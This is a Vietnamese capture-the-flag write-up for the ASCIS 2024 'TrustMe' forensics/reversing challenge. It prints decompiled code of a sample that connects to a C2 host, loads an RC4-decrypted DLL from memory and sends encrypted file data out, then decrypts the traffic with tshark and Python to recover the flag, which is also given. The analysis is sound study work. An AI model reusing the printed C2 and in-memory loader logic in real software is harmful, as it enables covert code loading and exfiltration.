# TrustMe (ASCIS 2024) ## Phân tích - Thử thách cho em 2 file `TrustMe.exe` và `record.pcapng`. - Em sẽ tiến hành phân tích file `TrustMe.exe` trước. Vì phải hiểu nó mới có thể phân tích được dữ liệu trong file `record.pcapng` được gửi đi và nhận những data gì. ![image](https://hackmd.io/_uploads/rJQsECoMye.png) ``` void __noreturn sub_4033C0() { int v0; // ebx int v1; // esi int v2; // edi int v3; // ebx const void *v4; // esi int v5; // eax _BYTE *v6; // edi const CHAR *v7; // ebx int v8; // ecx HANDLE FileA; // esi int v10; // [esp+0h] [ebp-20h] int v11; // [esp+4h] [ebp-1Ch] int v12; // [esp+8h] [ebp-18h] DWORD v13[2]; // [esp+Ch] [ebp-14h] BYREF DWORD nNumberOfBytesToWrite; // [esp+14h] [ebp-Ch] LPSTR lpBuffer; // [esp+18h] [ebp-8h] void *v16; // [esp+1Ch] [ebp-4h] int savedregs; // [esp+20h] [ebp+0h] lpBuffer = malloc(0x1000u); v0 = dword_4203A8(0); v1 = dword_4203BC(v0, 105, "JPGENC"); v2 = dword_4203C0(v0, v1); v3 = dword_420390(v0, v1); nNumberOfBytesToWrite = v3; v4 = dword_4203AC(v2); strcpy(v13, "imSoSad"); v5 = dword_4203B0(0); dword_4203A4(v5); v16 = malloc(v3); memmove(v16, v4, v3); v6 = malloc(v3 + 1); memset(v6, 0, v3 + 1); sub_402620(v16, v3, v13, strlen(v13), v6); v7 = lpBuffer; GetCurrentDirectoryA(0x1000u, lpBuffer); sub_401670(v8, v7, "%s\\stopDebug.jpg", v7); FileA = CreateFileA(v7, 0x40000000u, 0, 0, 2u, 0x80u, 0); WriteFile(FileA, v6, nNumberOfBytesToWrite, 0, 0); CloseHandle(FileA); sub_4080D0(v7); dword_4203B8( 0, "Trust me, when have I ever tricked you?", "Stop debugging!!!!", 16, v10, v11, v12, v13[0], v13[1], nNumberOfBytesToWrite, lpBuffer, v16, savedregs); _loaddll(0xFFFFFFFF); __debugbreak(); } ``` - Nhìn sơ lược qua thì chả có gì ở hàm `main` ngoài việc chống debug. - Xem qua thì có một vài hàm trước hàm `main` em cần phân tích. ``` int sub_403010() { _DWORD *v0; // ebx int v1; // eax int v2; // esi int v3; // eax PADDRINFOA *v4; // edi int (__stdcall *v5)(const char *, const char *, int, int); // eax int v6; // eax PADDRINFOA v7; // eax int v8; // eax int v9; // ecx int v10; // eax int v11; // eax int v12; // esi int v13; // eax int v14; // esi int v15; // edi void *v16; // edi int v17; // esi int v18; // ebx int v19; // edi int v20; // eax int *v21; // esi int v22; // eax int v23; // eax int v24; // eax void *v26; // [esp+70h] [ebp-24h] unsigned int v27; // [esp+74h] [ebp-20h] int v28; // [esp+78h] [ebp-1Ch] _DWORD v29[2]; // [esp+8Ch] [ebp-8h] BYREF malloc(8u); sub_402720(); v29[0] = 4; v0 = malloc(0x14u); v26 = dword_420398; *v0 = 0LL; v0[4] = 0; memset(v26, 0, 0x2CCu); v1 = dword_4203B0(0); dword_4203A4(v1); v2 = sub_401480(); v3 = (*(v2 + 456))(514, v2); *(v2 + 444) = v3; if ( v3 ) ExitProcess(1u); *(v2 + 412) = 0; v4 = (v2 + 404); *(v2 + 428) = 0; *(v2 + 432) = 0; *(v2 + 436) = 0; *(v2 + 440) = 0; v5 = *(v2 + 460); *(v2 + 416) = 0; *(v2 + 420) = 1; *(v2 + 424) = 6; v6 = v5("192.168.89.136", "31337", v2 + 412, v2 + 404); *(v2 + 444) = v6; if ( v6 ) goto LABEL_4; v7 = *v4; *(v2 + 408) = *v4; if ( v7 ) { while ( 1 ) { v8 = (*(v2 + 464))(v7->ai_family, v7->ai_socktype, v7->ai_protocol); *(v2 + 400) = v8; (*(v2 + 468))(v8, 0xFFFF, 4101, v2 + 452, 4); v9 = *(v2 + 400); if ( v9 == -1 ) break; v10 = (*(v2 + 476))(v9, *(*(v2 + 408) + 24), *(*(v2 + 408) + 16)); *(v2 + 444) = v10; if ( v10 == -1 ) { (*(v2 + 480))(*(v2 + 400)); v11 = *(v2 + 408); *(v2 + 400) = -1; v7 = *(v11 + 28); *(v2 + 408) = v7; if ( v7 ) continue; } goto LABEL_9; } LABEL_4: (*(v2 + 472))(); ExitProcess(1u); } LABEL_9: freeaddrinfo(*v4); if ( *(sub_401480() + 400) == -1 ) { v12 = sub_401480(); if ( !(*(v12 + 488))(*(v12 + 400), v0, 512, 0) ) { *(v12 + 400) = 0; *(v12 + 496) = 0; } v13 = sub_401480(); (*(v13 + 484))(*(v13 + 400), v29, 1, 0); v29[0] = strlen(sub_402920()); sub_4029C0(v0); strlen(sub_402920()); sub_402920(); sub_4029C0(v0); v14 = dword_4203B4 + 4; v15 = sub_401480(); if ( !(*(v15 + 488))(*(v15 + 400), v14, 4, 0) ) { *(v15 + 400) = 0; *(v15 + 496) = 0; } v16 = malloc(*(dword_4203B4 + 4)); v17 = *(dword_4203B4 + 4); *(dword_4203B4 + 8) = v16; v18 = sub_401480(); if ( !(*(v18 + 488))(*(v18 + 400), v16, v17, 0) ) { *(v18 + 400) = 0; *(v18 + 496) = 0; } v27 = strlen(sub_402920()); v19 = dword_4203B4; v28 = *(dword_4203B4 + 8); v20 = sub_402920(); sub_402620(v20, v27, v28); v21 = dword_4203B4; v22 = sub_401F00(*(v19 + 8), *(v19 + 4)); *v21 = v22; if ( !v22 ) sub_401600("Can't load library from memory.\n"); if ( !*dword_4203B4 ) { _loaddll(0xFFFFFFFF); JUMPOUT(0x4033B3); } dword_420394 = sub_402720(); v29[1] = *dword_420394 / dword_41F8B0; v23 = sub_402920(); sub_4029C0(v23); } dword_42039C(1, sub_402E80); v24 = dword_4203B0(5); dword_4203A4(v24); return 0; } ``` - Nhìn sơ qua thì em hiểu được nó sẽ conect tới sever `192.168.89.136 31337` để thực hiện truyền data. - Em sẽ tiến hành phân tích file `record`. ![image](https://hackmd.io/_uploads/H1IdSCjzyg.png) - Tại packer thứ 6 sever `31337` sẽ gửi đến client `51392` một chuỗi key `I'm_4_Gat3_K33per`. - Sau đó client sẽ random một chuỗi gồm 64 ký tự. ``` int __usercall sub_402920@<eax>(int a1@<ebp>) { int result; // eax unsigned int v2; // eax _BYTE *v3; // edi unsigned int i; // esi char v5[64]; // [esp-40h] [ebp-4Ch] BYREF int v6; // [esp+0h] [ebp-Ch] void *v7; // [esp+4h] [ebp-8h] void *retaddr; // [esp+Ch] [ebp+0h] v6 = a1; v7 = retaddr; result = dword_420360; if ( !dword_420360 ) { v2 = unknown_libname_22(0); srand(v2); strcpy(v5, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"); v3 = malloc(0x40u); for ( i = 0; i < 0x40; ++i ) v3[i] = v5[rand() % 52]; v3[64] = 0; result = v3; dword_420360 = v3; } return result; } ``` - Sau đó nó sẽ decrypt chuỗi này với key `I'm_4_Gat3_K33per` bằng RC4. Sau đó nó sẽ gửi về sever 68 byte với 4 byte đầu là len của chuỗi và 64 byte đã bị decrypt. ![image](https://hackmd.io/_uploads/ryV5LCofyx.png) - 68 byte này được ghi tại packer thứ 9 em sẽ bỏ 4 byte đầu và đem đi encrypt RC4. ``` 86dad7bb918e87d161556ad2e40a89010adfe3aa41ca44764e786b738047456cc80d021e7f60b56776b858225d45099f0e99b62f5758977fde740bcc2be36dbf403eb860 ``` -> `WTPjWbJafqNPqrZFswaijmyVKMddOrKzukegbVDpXJqDfulPDmDwDasqTwxvibnM` - Tiếp tục phân tích thì em lại thấy có một file `dll` đã bị decrypt với key trên. ![image](https://hackmd.io/_uploads/S1gPvCjf1x.png) - Và data sau khi decrypt được sever gửi về client tại các packer `11, 13, 14, 16, 17, 19, 20, 22`. - Em sẽ dump data này ra và khôi phục nó. - Đây là script em dùng để khôi phục. ``` from arc4 import ARC4 total = b'' key = b'WTPjWbJafqNPqrZFswaijmyVKMddOrKzukegbVDpXJqDfulPDmDwDasqTwxvibnM' cipher = ARC4(key) for i in range(8): try: with open(f"data_gen{i}.txt", "r") as file: enc_file = bytes.fromhex(file.read().strip()) total += cipher.decrypt(enc_file) except: pass with open("gen.dll", "wb") as output_file: output_file.write(total) ``` - Sau khi em đã khôi phục được thì em tiếp tục phân tích file `gen.dll` này. - Ta chỉ cần chú ý đến các hàm `gen0, gen1, gen2, gen3`. ``` int __cdecl gen0(const char *a1) { int v1; // esi int result; // eax int v3; // ecx int v4; // edi const char *v5; // edx char v6; // al v1 = strlen(a1); result = sub_10001210(v1 + 1); v3 = 0; v4 = result; if ( v1 <= 0 ) { *(_BYTE *)(result + v1) = 0; } else { v5 = &a1[v1 - 1]; do { v6 = *v5--; *(_BYTE *)(v3 + v4) = v6; ++v3; } while ( v3 < v1 ); *(_BYTE *)(v4 + v1) = 0; return v4; } return result; } ``` - Nhìn qua hàm gen 0 thì em biết được nó đang modify key cho option 0 swith case, tương tự cho option 1, 2, 3. - Em sẽ đi tìm 4 key dựa vào key gốc. ``` def gen0(a1: str) -> str: if len(a1) == 0: return '' return a1[::-1] def gen1(a1: str) -> str: result = [] for char in a1: if char.islower(): result.append(char.upper()) elif char.isupper(): result.append(char.lower()) else: result.append(char) return ''.join(result) def gen2(a1: str) -> str: return a1[-1] + a1[:-1] if a1 else '' def gen3(a1: str) -> str: v1 = len(a1) result = [''] * v1 for i in range(v1): v5 = a1[i] if ord(v5) - 65 > 0x19: if ord(v5) - 97 > 0x19: v6 = v5 else: v6 = chr((ord(v5) - 84) % 26 + 97) else: v6 = chr((ord(v5) - 52) % 26 + 65) result[i] = v6 return ''.join(result) input_str = "WTPjWbJafqNPqrZFswaijmyVKMddOrKzukegbVDpXJqDfulPDmDwDasqTwxvibnM" print(f"Original: {input_str}") print(f"gen0: {gen0(input_str)}") print(f"gen1: {gen1(input_str)}") print(f"gen2: {gen2(input_str)}") print(f"gen3: {gen3(input_str)}") ``` - Và key em tìm được là: ``` gen0: MnbivxwTqsaDwDmDPlufDqJXpDVbgekuzKrOddMKVymjiawsFZrqPNqfaJbWjPTW gen1: wtpJwBjAFQnpQRzfSWAIJMYvkmDDoRkZUKEGBvdPxjQdFULpdMdWdASQtWXVIBNm gen2: MWTPjWbJafqNPqrZFswaijmyVKMddOrKzukegbVDpXJqDfulPDmDwDasqTwxvibn gen3: JGCwJoWnsdACdeMSfjnvwzlIXZqqBeXmhxrtoIQcKWdQshyCQzQjQnfdGjkivoaZ ``` - Tiếp theo chương trình sẽ dùng các key này cho từng option để decrypt flag em sẽ dựa theo option mà sever gửi đến client để viết lại script giải mã. - Nó bắt đầu decrypt từ packer 25 cho đến packer 15494. - ![image](https://hackmd.io/_uploads/B1xEhCCizJg.png) - Tại packer 25 sever sẽ gửi đến client option cho sw case là 2 để decrypt và tất cả data sau khi decrypt sẽ gửi lại sever từ packer 27 đến packer 1493 cho option này. - Từ đó em sẽ lọc theo len data để lấy các option trước. ![image](https://hackmd.io/_uploads/HkEFyy2M1g.png) - Đây là toàn bộ 22 option mà sever gửi đến client để decript. -> `Choice: 2, 1, 1, 2, 3, 2, 3, 1, 2, 3, 1, 0, 2, 3, 0, 0, 2, 1, 1, 0, 0, 3.` - Bây giờ em sẽ dump ra các packer liên quan với từng option này để encrypt. - Ví dụ như option đầu tiên với choice là 2, thì data bị decrypt sẽ được ghi lại từ packer 27 -> 760. ![image](https://hackmd.io/_uploads/BkZz-y3fJl.png) ![image](https://hackmd.io/_uploads/SkjQWy3zyx.png) - Em sẽ dùng `tshark` để dump ra. ``` tshark -r record.pcapng -Y "tcp && frame.number >= 27 && frame.number <= 760" -T fields -e data > data0.txt ``` - Tương tự tới `data21.txt` - Đây là script solve của em. ``` from arc4 import ARC4 keys = [ b'MnbivxwTqsaDwDmDPlufDqJXpDVbgekuzKrOddMKVymjiawsFZrqPNqfaJbWjPTW', b'wtpJwBjAFQnpQRzfSWAIJMYvkmDDoRkZUKEGBvdPxjQdFULpdMdWdASQtWXVIBNm', b'MWTPjWbJafqNPqrZFswaijmyVKMddOrKzukegbVDpXJqDfulPDmDwDasqTwxvibn', b'JGCwJoWnsdACdeMSfjnvwzlIXZqqBeXmhxrtoIQcKWdQshyCQzQjQnfdGjkivoaZ' ] index = [2, 1, 1, 2, 3, 2, 3, 1, 2, 3, 1, 0, 2, 3, 0, 0, 2, 1, 1, 0, 0, 3] total = b'' for i in range(22): try: with open(f"data{i}.txt", "r") as file: enc_file = bytes.fromhex(file.read().strip()) cipher = ARC4(keys[index[i]]) total += cipher.decrypt(enc_file) except Exception as e: print(f"Error processing file data{i}.txt: {e}") with open("flag.bmp", "wb") as output_file: output_file.write(total) ``` ![image](https://hackmd.io/_uploads/SJQhP13fJx.png) `Flag: ASCIS{TruSt_m3_br0!_I_d1dn_T_D0_4nyTh1ng!_I_sw34r}` ## Tổng kết - Em cảm ơn mọi người đã đọc write up của em ạ.